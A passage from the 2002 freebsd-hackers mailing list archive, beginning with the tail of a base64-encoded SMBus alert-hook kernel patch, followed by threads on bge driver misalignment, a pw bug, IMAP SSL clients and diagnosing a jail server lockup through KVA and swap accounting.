IE1fV0FJVE9LKTsKKwllbnRyeS0+ZGV2PWRldjsKKwllbnRyeS0+c2xhdmU9c2xhdmU7CisJZW50 cnktPmhhbmRsZXI9aGFuZGxlcjsKKwllbnRyeS0+YXJnPWFyZzsKKwlTTElTVF9JTlNFUlRfSEVB RCgmYWxhcnRob29rcywgZW50cnksIGVudHJpZXMpOworCQorCXJldHVybiAoMCk7Cit9CisKKy8q CisgKiBzbWJ1c190ZWFyZG93bl9hbGFydCgpCisgKi8KK2ludAorc21idXNfdGVhcmRvd25fYWxh cnQoZGV2aWNlX3QgZGV2LCB1X2NoYXIgc2xhdmUpIHsKKwlzdHJ1Y3QgYWxhcnRob29rX2VudHJ5 ICpjdXJlbnRyeSwgKmZvdW5kZW50cnk9TlVMTDsKKworCVNMSVNUX0ZPUkVBQ0goY3VyZW50cnks ICZhbGFydGhvb2tzLCBlbnRyaWVzKQorCQlpZiAoY3VyZW50cnktPmRldiA9PSBkZXYgJiYgY3Vy ZW50cnktPnNsYXZlID09IHNsYXZlKQorCQkJZm91bmRlbnRyeT1jdXJlbnRyeTsKKworCWlmICgh Zm91bmRlbnRyeSkKKwkJcmV0dXJuIChFTlhJTyk7CisKKwlTTElTVF9SRU1PVkUoJmFsYXJ0aG9v a3MsIGZvdW5kZW50cnksIGFsYXJ0aG9va19lbnRyeSwgZW50cmllcyk7CisJRlJFRShmb3VuZGVu dHJ5LE1fU01CVVNfQUxBUlQpOworCisJcmV0dXJuICgwKTsKK30KKworLyoKKyAqIHNtYnVzX2Fs YXJ0X2ludHIoKQorICovCit2b2lkCitzbWJ1c19hbGFydF9pbnRyKGRldmljZV90IGRldiwgdV9j aGFyIGRldmFkZHIpCit7CisJc3RydWN0IGFsYXJ0aG9va19lbnRyeSAqZW50cnk7CisKKwkvKiBD YWxsIGVhY2ggY2hpbGRmdW5jdGlvbiB3aXRoIG1hdGNoaW5nIHNsYXZlIGFkZHJlc3MgKi8KKwlT TElTVF9GT1JFQUNIKGVudHJ5LCAmYWxhcnRob29rcywgZW50cmllcykKKwkJaWYgKGVudHJ5LT5z bGF2ZT09ZGV2YWRkciAmJiBlbnRyeS0+aGFuZGxlcikKKwkJCWVudHJ5LT5oYW5kbGVyKGVudHJ5 LT5hcmcpOworCisJcmV0dXJuOworfQorI2VuZGlmIC8qIEVOQUJMRV9BTEFSVCAqLwotLS0gc3lz L2Rldi9zbWJ1cy9zbWJjb25mLmgub3JpZwlNb24gSnVuIDI0IDAyOjM3OjMyIDIwMDIKKysrIHN5 cy9kZXYvc21idXMvc21iY29uZi5oCU1vbiBKdW4gMjQgMDM6NDM6NTggMjAwMgpAQCAtODAsNiAr ODAsMTIgQEAKIAogZXh0ZXJuIHVfY2hhciBzbWJ1c19nZXRfYWRkcihkZXZpY2VfdCk7CiAKKyNp ZmRlZiBFTkFCTEVfQUxBUlQKK2V4dGVybiBpbnQgc21idXNfc2V0dXBfYWxhcnQoZGV2aWNlX3Qs IHVfY2hhciwgaW50LCBkcml2ZXJfaW50cl90Kiwgdm9pZCopOworZXh0ZXJuIGludCBzbWJ1c190 ZWFyZG93bl9hbGFydChkZXZpY2VfdCwgdV9jaGFyKTsKK2V4dGVybiB2b2lkIHNtYnVzX2FsYXJ0 X2ludHIoZGV2aWNlX3QsIHVfY2hhcik7CisjZW5kaWYKKwogI2RlZmluZSBzbWJ1c19xdWljayhi dXMsc2xhdmUsaG93KSBcCiAJKFNNQlVTX1FVSUNLKGRldmljZV9nZXRfcGFyZW50KGJ1cyksIHNs YXZlLCBob3cpKQogI2RlZmluZSBzbWJ1c19zZW5kYihidXMsc2xhdmUsYnl0ZSkgXAotLS0gc3lz L2Rldi9zbWJ1cy9zbWJ1cy5jLm9yaWcJTW9uIEp1biAyNCAwMjoxNzo1NSAyMDAyCisrKyBzeXMv ZGV2L3NtYnVzL3NtYnVzLmMJTW9uIEp1biAyNCAxMzoxMzozMyAyMDAyCkBAIC0zMSw2ICszMSw3 IEBACiAjaW5jbHVkZSA8c3lzL2tlcm5lbC5oPgogI2luY2x1ZGUgPHN5cy9tb2R1bGUuaD4KICNp bmNsdWRlIDxzeXMvYnVzLmg+IAorI2luY2x1ZGUgPHN5cy9tYWxsb2MuaD4KIAogI2luY2x1ZGUg PGRldi9zbWJ1cy9zbWJjb25mLmg+CiAjaW5jbHVkZSA8ZGV2L3NtYnVzL3NtYnVzLmg+CkBAIC00 OCwxMyArNDksMTQgQEAKICAqLwogc3RhdGljIGludCBzbWJ1c19wcm9iZShkZXZpY2VfdCk7CiBz dGF0aWMgaW50IHNtYnVzX2F0dGFjaChkZXZpY2VfdCk7CitzdGF0aWMgaW50IHNtYnVzX2RldGFj aChkZXZpY2VfdCk7CiBzdGF0aWMgaW50IHNtYnVzX2FkZF9jaGlsZChkZXZpY2VfdCBkZXYsIGlu dCBvcmRlciwgY29uc3QgY2hhciAqbmFtZSwgaW50IHVuaXQpOwogCiBzdGF0aWMgZGV2aWNlX21l dGhvZF90IHNtYnVzX21ldGhvZHNbXSA9IHsKICAgICAgICAgLyogZGV2aWNlIGludGVyZmFjZSAq LwogICAgICAgICBERVZNRVRIT0QoZGV2aWNlX3Byb2JlLCAgICAgICAgIHNtYnVzX3Byb2JlKSwK ICAgICAgICAgREVWTUVUSE9EKGRldmljZV9hdHRhY2gsICAgICAgICBzbWJ1c19hdHRhY2gpLAot ICAgICAgICBERVZNRVRIT0QoZGV2aWNlX2RldGFjaCwgICAgICAgIGJ1c19nZW5lcmljX2RldGFj aCksCisgICAgICAgIERFVk1FVEhPRChkZXZpY2VfZGV0YWNoLCAgICAgICAgc21idXNfZGV0YWNo KSwKIAogICAgICAgICAvKiBidXMgaW50ZXJmYWNlICovCiAgICAgICAgIERFVk1FVEhPRChidXNf YWRkX2NoaWxkLAlzbWJ1c19hZGRfY2hpbGQpLApAQCAtNjksNiArNzEsMTIgQEAKICAgICAgICAg c2l6ZW9mKHN0cnVjdCBzbWJ1c19zb2Z0YyksCiB9OwogCisjaWZkZWYgRU5BQkxFX0FMQVJUCisv KiBMaXN0IGZvciBhbGFydCBob29rcyBwZXIgc2xhdmUgKi8KK1NMSVNUX0hFQUQoYWxhcnRob29r X2hlYWQsIGFsYXJ0aG9va19lbnRyeSkgYWxhcnRob29rcyA9CisJU0xJU1RfSEVBRF9JTklUSUFM SVpFUihhbGFydGhvb2tzKTsKKyNlbmRpZgorCiAvKgogICogQXQgJ3Byb2JlJyB0aW1lLCB3ZSBh ZGQgYWxsIHRoZSBkZXZpY2VzIHdoaWNoIHdlIGtub3cgYWJvdXQgdG8gdGhlCiAgKiBidXMuICBU aGUgZ2VuZXJpYyBhdHRhY2ggcm91dGluZSB3aWxsIHByb2JlIGFuZCBhdHRhY2ggdGhlbSBpZiB0 aGV5CkBAIC04Nyw4ICs5NSwzMCBAQAogewogCWRldmljZV9hZGRfY2hpbGQoZGV2LCBOVUxMLCAt MSk7CiAJYnVzX2dlbmVyaWNfYXR0YWNoKGRldik7CisKKyNpZmRlZiBFTkFCTEVfQUxBUlQKKwkv KiBJbml0IGxpc3QgZm9yIGFsYXJ0IGhvb2tzICovCisJU0xJU1RfSU5JVCgmYWxhcnRob29rcyk7 CisjZW5kaWYKICAgICAgICAgIAogICAgICAgICByZXR1cm4gKDApOworfQorCitzdGF0aWMgaW50 CitzbWJ1c19kZXRhY2goZGV2aWNlX3QgZGV2KQoreworI2lmZGVmIEVOQUJMRV9BTEFSVAorCXN0 cnVjdCBhbGFydGhvb2tfZW50cnkgKmVudHJ5OworCisJLyogUmVtb3ZlIGFsYXJ0IGhvb2sgbGlz dCAqLworCXdoaWxlICghU0xJU1RfRU1QVFkoJmFsYXJ0aG9va3MpKSB7CisJCWVudHJ5ID0gU0xJ U1RfRklSU1QoJmFsYXJ0aG9va3MpOworCQlTTElTVF9SRU1PVkVfSEVBRCgmYWxhcnRob29rcywg ZW50cmllcyk7CisJCUZSRUUoZW50cnksIE1fU01CVVNfQUxBUlQpOworCX0KKyNlbmRpZgorCisJ cmV0dXJuIGJ1c19nZW5lcmljX2RldGFjaChkZXYpOwogfQogCiBzdGF0aWMgaW50Ci0tLSBzeXMv ZGV2L3NtYnVzL3NtYnVzLmgub3JpZwlNb24gSnVuIDI0IDAyOjE3OjMyIDIwMDIKKysrIHN5cy9k ZXYvc21idXMvc21idXMuaAlNb24gSnVuIDI0IDEwOjQ0OjUyIDIwMDIKQEAgLTM4LDQgKzM4LDE2 IEBACiAKIGV4dGVybiB2b2lkIHNtYnVzX2dlbmVyaWNfaW50cihkZXZpY2VfdCBkZXYsIHVfY2hh ciBkZXZhZGRyLCBjaGFyIGxvdywgY2hhciBoaWdoKTsKIAorI2lmZGVmIEVOQUJMRV9BTEFSVAor c3RydWN0IGFsYXJ0aG9va19lbnRyeSB7CisJZGV2aWNlX3QgZGV2OworCXVfY2hhciBzbGF2ZTsK Kwlkcml2ZXJfaW50cl90ICpoYW5kbGVyOworCXZvaWQgKmFyZzsKKwlTTElTVF9FTlRSWShhbGFy dGhvb2tfZW50cnkpIGVudHJpZXM7Cit9OworCitNQUxMT0NfREVDTEFSRShNX1NNQlVTX0FMQVJU KTsKKyNlbmRpZiAvKiBFTkFCTEVfQUxBUlQgKi8KKwogI2VuZGlmCi0tLSBzeXMvcGNpL2ludHBt LmMub3JpZwlTYXQgSnVuIDIyIDE2OjA0OjE2IDIwMDIKKysrIHN5cy9wY2kvaW50cG0uYwlNb24g SnVuIDI0IDAyOjQ2OjE5IDIwMDIKQEAgLTI5NywxMCArMjk3LDE1IEBACiAJCQl1X2ludDhfdCBh ZGRyOwogCQkJYWRkcj1idXNfc3BhY2VfcmVhZF8xKHNjLT5zdCxzYy0+c2gsCiAJCQkJCSAgICAg IFBJSVg0X1NNQkhTVERBVDApOworI2lmZGVmIEVOQUJMRV9BTEFSVF9WRVJCT1NFCiAJCQlwcmlu dGYoIkFMQVJUX1JFU1BPTlNFOiAweCV4XG4iLCBhZGRyKTsKKyNlbmRpZgorCQkJc21idXNfYWxh cnRfaW50cihkZXYsIGFkZHIpOwogCQl9CiAJfWVsc2V7CisjaWZkZWYgRU5BQkxFX0FMQVJUX1ZF UkJPU0UKIAkgICAgICAgIHByaW50ZigiRVJST1JcbiIpOworI2VuZGlmCiAJfQogCiAJLypSZS1l bmFibGUgSU5UUiBmcm9tIEFMQVJUKi8K --Multipart_Mon__24_Jun_2002_14:59:21_+0200_0843ac00-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 9:38:51 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from wall.polstra.com (wall-gw.polstra.com [206.213.73.130]) by hub.freebsd.org (Postfix) with ESMTP id 2C29E37B40E for ; Mon, 24 Jun 2002 09:38:43 -0700 (PDT) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.11.3/8.11.3) with ESMTP id g5OGcWf37947; Mon, 24 Jun 2002 09:38:32 -0700 (PDT) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.6/8.11.0) id g5OGcVb31010; Mon, 24 Jun 2002 09:38:31 -0700 (PDT) (envelope-from jdp) Date: Mon, 24 Jun 2002 09:38:31 -0700 (PDT) Message-Id: <200206241638.g5OGcVb31010@vashon.polstra.com> To: hackers@freebsd.org From: John Polstra Cc: ccyflai@ust.hk Subject: Re: bge driver not working in Dell 2650 In-Reply-To: <20020623030400.GH11408@ccsu13.ust.hk> References: <20020623030400.GH11408@ccsu13.ust.hk> Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In article <20020623030400.GH11408@ccsu13.ust.hk>, Lai Yiu Fai wrote: > Anyone get the Broadcom BCM5701 gigibit ethernet working on new Dell 2650? > I noted it has been fixed in latest STABLE branch from freebsd-hacker list. > > http://www.geocrawler.com/mail/thread.php3?subject=Broadcom+BCM5701+GigE+Ethernet+problems%3F%3F&list=159 > > I grabed the latest -STABLE branch but it still doesn't work for the Dell > 2650. Any clues? Just one clue. Saying that something "doesn't work" without providing any details doesn't make it possible for anybody to help you. John -- John Polstra John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 9:45:47 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from wall.polstra.com (wall-gw.polstra.com [206.213.73.130]) by hub.freebsd.org (Postfix) with ESMTP id 4B49C37B407 for ; Mon, 24 Jun 2002 09:45:39 -0700 (PDT) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.11.3/8.11.3) with ESMTP id g5OGjZf37989; Mon, 24 Jun 2002 09:45:35 -0700 (PDT) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.6/8.11.0) id g5OGjZH31049; Mon, 24 Jun 2002 09:45:35 -0700 (PDT) (envelope-from jdp) Date: Mon, 24 Jun 2002 09:45:35 -0700 (PDT) Message-Id: <200206241645.g5OGjZH31049@vashon.polstra.com> To: hackers@freebsd.org From: John Polstra Cc: paleph@pacbell.net Subject: Re: Re: bge driver issue In-Reply-To: <200206231552.g5NFqS002122@pacbell.net> References: <200206231552.g5NFqS002122@pacbell.net> Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In article <200206231552.g5NFqS002122@pacbell.net>, wrote: > > John. > > Thanks for the tip. > > I changed ETHER_ALIGN to 0 and the driver started to work. I'm glad to hear it. Thanks for the report. > I am not sure about the performance since I seem to get > only 50 Mbit over a 100 Mbit line. However this is much better > than the timeout warnings... On the i386, living with the misalignment is probably the best solution, unfortunately. The only alternatives I can think of are: - bcopy the packet up by 2 bytes after reception to align the payload, or - disable PCI-X mode on the bus Both of those would probably be worse. > Do you need any other experiments done? We're going > to ship the 2650 back to Dell for other reasons (form factor > and noise). Thanks for the offer. I don't know of any other experiments I need done currently. I agree with you about the noise. I think I'd rather spend the day in a room with a swarm of hornets than with the Dell 2650. When I was working with that machine I wore a pair of industrial-strength ear-protecting headphones, and my ears were still buzzing at the end of the day. John -- John Polstra John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 9:57:27 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.deltanet.com (mail.deltanet.com [216.237.144.132]) by hub.freebsd.org (Postfix) with ESMTP id 90C1237B407 for ; Mon, 24 Jun 2002 09:56:42 -0700 (PDT) Received: from mammoth.eat.frenchfries.net (da001d0193.lax-ca.osd.concentric.net [64.0.144.194]) by mail.deltanet.com (8.11.6/8.11.6) with ESMTP id g5OGWOO03423 for ; Mon, 24 Jun 2002 09:32:26 -0700 Received: by mammoth.eat.frenchfries.net (Postfix, from userid 1000) id 888E457CA; Mon, 24 Jun 2002 09:56:31 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by mammoth.eat.frenchfries.net (Postfix) with ESMTP id 85EBF4D25; Mon, 24 Jun 2002 09:56:31 -0700 (PDT) Date: Mon, 24 Jun 2002 09:56:31 -0700 (PDT) From: Paul Herman X-X-Sender: pherman@mammoth.eat.frenchfries.net To: "Geoffrey C. Speicher" Cc: "Matthew D. Fuller" , Subject: Re: bug in pw, -STABLE [patch] In-Reply-To: <20020623233731.L31276-100000@sea-incorporated.com> Message-ID: <20020624094952.R40562-100000@mammoth.eat.frenchfries.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 24 Jun 2002, Geoffrey C. Speicher wrote: > So we either need to have a compelling solution or get a > committer to step in and make up our minds for us. I think the best thing to do is file a PR for this. -Paul. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 10: 6: 1 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from relay.pair.com (relay1.pair.com [209.68.1.20]) by hub.freebsd.org (Postfix) with SMTP id 0102237B40F for ; Mon, 24 Jun 2002 10:05:35 -0700 (PDT) Received: (qmail 74608 invoked from network); 24 Jun 2002 17:05:34 -0000 Received: from nat.ironport.com (HELO ?10.1.10.118?) (63.251.108.100) by relay1.pair.com with SMTP; 24 Jun 2002 17:05:34 -0000 X-pair-Authenticated: 63.251.108.100 Mime-Version: 1.0 X-Sender: (Unverified) Message-Id: In-Reply-To: <200206241645.g5OGjZH31049@vashon.polstra.com> References: <200206231552.g5NFqS002122@pacbell.net> <200206241645.g5OGjZH31049@vashon.polstra.com> Date: Mon, 24 Jun 2002 10:05:27 -0700 To: John Polstra , hackers@freebsd.org From: Mark Peek Subject: Re: Re: bge driver issue Cc: paleph@pacbell.net Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 9:45 AM -0700 6/24/02, John Polstra wrote: >I agree with you about the noise. I think I'd rather spend the day >in a room with a swarm of hornets than with the Dell 2650. When I >was working with that machine I wore a pair of industrial-strength >ear-protecting headphones, and my ears were still buzzing at the end >of the day. FYI...I heard from our Dell reps that a BIOS patch will be issued real soon to crank down the speed of the fans which, according to them, will relieve the unbelievably annoying racket. Mark To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 11:25:32 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from gate.volant.org (gate.volant.org [207.111.218.246]) by hub.freebsd.org (Postfix) with ESMTP id 2AD3037B403 for ; Mon, 24 Jun 2002 11:25:18 -0700 (PDT) Received: from 216-55-134-176.dsl.san-diego.abac.net ([216.55.134.176] helo=[192.168.0.13]) by gate.volant.org with asmtp (TLSv1:DES-CBC3-SHA:168) (Exim 3.33 #1) id 17MYWQ-000Ebw-00; Mon, 24 Jun 2002 11:25:06 -0700 Date: Mon, 24 Jun 2002 11:24:20 -0700 From: Pat Lashley To: Neil Blakey-Milner , freebsd-hackers@FreeBSD.ORG Subject: Re: Cyrus vs. UW IMAP (was: Re: I Volunteer) Message-ID: <1231310000.1024943059@mccaffrey.phoenix.volant.org> In-Reply-To: <20020622123644.GA33734@mithrandr.moria.org> References: <3D13B778.1BB52411@mindspring.com> <20020621235955.Y88554-100000@mail.wolves.k12.mo.us> <20020622123644.GA33734@mithrandr.moria.org> X-Mailer: Mulberry/2.2.1 (Linux/x86 Demo) MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="==========3037319384==========" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --==========3037319384========== Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline --On Saturday, June 22, 2002 02:36:44 PM +0200 Neil Blakey-Milner=20 wrote: >> There is always the option >> to use SSL, which is my preference, but unfortunately neither SSL nor >> SASL have widespread IMAP client support yet. > > Most IMAP clients I know of support SSL. Outlook, Outlook Express, > Eudora, Netscape, Evolution, mutt, pine, ... Mulberry, ... > Which IMAP clients don't? I believe that Eudora's SSL support is broken - it will not work with standards-compliant IMAP+SSL servers. -Pat --==========3037319384========== Content-Type: application/pgp-signature Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (FreeBSD) iD8DBQE9F2PtncYNbLD8wuMRAnE8AJ9kOT4TOwEkN25AxX48rC5eKj308QCg3+z1 M0BaHLA5d1K5ex0+nfitxNs= =j10I -----END PGP SIGNATURE----- --==========3037319384==========-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 11:45: 6 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from utility.clubscholarship.com (utility.clubscholarship.com [198.78.70.175]) by hub.freebsd.org (Postfix) with ESMTP id 6F4B037B401 for ; Mon, 24 Jun 2002 11:44:57 -0700 (PDT) Received: from localhost (root@localhost) by utility.clubscholarship.com (8.11.6/8.11.6) with ESMTP id g5OIeaS38238; Mon, 24 Jun 2002 11:40:51 -0700 (PDT) (envelope-from root@utility.clubscholarship.com) Date: Mon, 24 Jun 2002 11:40:36 -0700 (PDT) From: Patrick Thomas To: Terry Lambert Cc: Nielsen , Subject: Re: (jail) problem and a (possible) solution ? In-Reply-To: <3D158E12.CDB87171@mindspring.com> Message-ID: <20020624112143.X68572-100000@utility.clubscholarship.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Terry, I made an initial change to the kernel of reducing maxusers from 512 to 256 - you said that 3gig is right on the border of needing extra KVA or not, so I thought maybe this unnecessarily high maxusers might be puching me "over the top". However, as long as I was changing the kernel, I also added DDB. The bad news is, it crashed again. The good news is, I dropped to the debugger and got the wait channel info you wanted with `ps`. Here are the last four columns of ps output for the first two pages of processes (roughly 900 procs were running at the time of the halt, so of course I can't give you them all, especially since I am copying by hand) 3 select c0335140 local 3 select c0335140 trivial-rewrite 3 select c0335140 cleanup 3 select c0335140 smtpd 3 select c0335140 imapd 2 httpd 2 httpd 3 sbwait e5ff6a8c httpd 3 lockf c89b7d40 httpd 3 sbwait e5fc8d0c httpd 2 httpd 3 select c0335140 top 3 accept e5fc9ef6 httpd 3 select c0335140 imapd 3 select c0335140 couriertls 3 select c0335140 imapd 2 couriertls 3 ttyin c74aa630 bash 3 select c0335140 sshd 3 select c0335140 tt++ So there it all is. Does this confirm your feeling that I need to increase KVA? Or does it show you that one of the one or two other low probablity problems is occurring? thanks, PT On Sun, 23 Jun 2002, Terry Lambert wrote: > Patrick Thomas wrote: > > I think I'll just decrease my swap size from 2 gigs to 1 gig - is that a > > reasonable alternative that provides the same benefit and possible > > solution to this problem ? > > > > ...since bsically 0 swap has ever been used on the machine anyway... > > Not really. > > The code in machdep.c allocated pmaps for swapped memory based > on the size of real memory, rather than based on available swap. > > The reason it does this is that you can (effectively) add an > arbitrary amount of swap later with "swapon", without the swap > devices at the time being known to the kernel at boot. THis > makes it impossible to prereserve the number of pmap pages that > will be needed for the actual amount of swap. > > Matt Dillon made some autosizing changes after I complained > about this before. My actual complaint was to implicate the > size of real memory available relative to the size of the full > address space. The change he made attempts to autosize, and > doesn't quite mirror this policy directly. THis code is not > available in 4.5. I believe that it was back-ported to 4.6, > but you would have to look at the CVS log on machdep.c to be > sure about this -- it may only be in -current. > > The upshot of this is that having a lot of memory reserves > pmap entries at 4K per 4M of real OR virtual memory. The > result of this is that at 4G of physical RAM, you actually > end up allocating more pmap's than 1G of memory can contain, > since the total of physical RAM plus swap over 1024 is > larger than 1G minus the amount taken by an idle kernel, not > including the page mappings. > > If you have 3G of real RAM (which you do), then you are on > the borderline of running out. When you factor in the amount > of *potential* swap that machdep.c reserves, plus tuning for > maxfiles/sockets/inpcb/tcpcb/mbufs/etc. (if any), PLUS the > RAM taken up for things associated with running over 1000 > processes (as your system does), then you end up exhausting > the amount of VM space available. > > As I said before, though, the only way to know for sure if > this is your real problem is to break to the debugger after > the lockup (it's *not* a crash), and check out the wait channels > for the processes thar are unable to run. > > If you want a tweak for 4.5 that has about a 95% proability of > masking the problem, then you need to up the KVA space. > > Unfortunately, it's not really possible to tell you where > every byte of memory is going. Also, unfortunately, the > pmap's for swappable memory are not themselves swappable > (or this would not be a problem). Probably, pmaps for > swap and for file backing store for exectuables should be > allocated when they are needed, not preallocated (they can > be, if you are not out of RAM, or have RAM, but are out of > KVA space in which to create mappings) [see "growkernel"]. > > Taking out 1G of physical memory from the box might also > fix the problem without a kernel tweak, FWIW. > > However, right now, you need to cause the problem, enter > the debugger, and use "ps" in the debugger to examine the > wait channels. > > -- Terry > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 12: 6:58 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id C25E437B401 for ; Mon, 24 Jun 2002 12:06:52 -0700 (PDT) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.3/8.9.3) with ESMTP id PAA27965; Mon, 24 Jun 2002 15:06:51 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.11.6/8.9.1) id g5OJ6L308393; Mon, 24 Jun 2002 15:06:21 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15639.28077.881363.884693@grasshopper.cs.duke.edu> Date: Mon, 24 Jun 2002 15:06:21 -0400 (EDT) To: John Polstra Cc: hackers@freebsd.org Subject: Re: Re: bge driver issue In-Reply-To: <200206241645.g5OGjZH31049@vashon.polstra.com> References: <200206231552.g5NFqS002122@pacbell.net> <200206241645.g5OGjZH31049@vashon.polstra.com> X-Mailer: VM 6.75 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG John Polstra writes: > On the i386, living with the misalignment is probably the best > solution, unfortunately. The only alternatives I can think of are: > > - bcopy the packet up by 2 bytes after reception to align the > payload, or > > - disable PCI-X mode on the bus > If the bge's API allows it, you could setup a receive descriptor with a length of 14 bytes (size of ethernet header), and start the next descripter 2 bytes after it (at a 16 byte offset from the front of the mbuf). When the receive is done, just copy the 14 bytes. Drew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 12:15:39 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 3230237B485 for ; Mon, 24 Jun 2002 12:14:57 -0700 (PDT) Received: from apollo.backplane.com (localhost [127.0.0.1]) by apollo.backplane.com (8.12.3/8.12.3) with ESMTP id g5OJEuCV096926; Mon, 24 Jun 2002 12:14:56 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.12.3/8.12.3/Submit) id g5OJEttA096925; Mon, 24 Jun 2002 12:14:55 -0700 (PDT) (envelope-from dillon) Date: Mon, 24 Jun 2002 12:14:55 -0700 (PDT) From: Matthew Dillon Message-Id: <200206241914.g5OJEttA096925@apollo.backplane.com> To: Patrick Thomas , Nielsen , hackers@FreeBSD.ORG Cc: Terry Lambert Subject: Re: (jail) problem and a (possible) solution ? References: <20020622164732.L68572-100000@utility.clubscholarship.com> <3D158E12.CDB87171@mindspring.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Well, it should be noted that there are two things going on with swap. What I adjusted was the size of the swap_zone, which holds swblocks. These structures hold the VM->SWAP block mappings for things that are swapped out. The swap zone eats a lot more KVA then the radix tree holding the swap bitmaps. The actual swap bitmaps are allocated from the M_SWAP malloc pool. These allocations are based on NSWAP * (largest_single_swap_area). NSWAP is usually 4. Having a single 2GB swap area is therefore somewhat expensive, but still nowhere near the size required to exhaust KVM (or even come close to exhausting KVM). It is just as expensive as having 4 x 2GB swap areas due to the way the bitmaps are allocated. The swap bitmaps eat around 2 bits per 4K block of swap so a single 2GB of swap will eat 2G/4K x 2 / 8 x NSWAP(4) = 0.5 MB of ram. Not very much. But, getting back to the swblocks... these use a zone, SWAPMETA (vmstat -z | less, search for SWAPMETA). The zone reserves KVA. A machine with 2GB of real memory will typically reserve around 10 MB of KVA to hold swblocks. Previously it reserved 20-40 MB of KVA which really ate into available KVA. It should not be a problem now but it's very easy for you to check. Multiply the size (160) against the LIMIT and you will get the approximate KVA reservation being used for the SWAPMETA zone. -- Ok, history lesson over. Going over your original posting and the ps you just posted from ddb> there is not enough information to make any sort of diagnosis. It doesn't look like KVA exhaustion to me, and the ps does not show any deadlocks. I'm not sure what is going on. I think some more experimentation is necessary... e.g. breaking into DDB after it deadlocks and doing a full 'ps' (don't leave anything out this time), and potentially getting a kernel core dump (assuming you compiled the kernel -g and have a kernel.debug lying around that we can gdb the core against). -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From 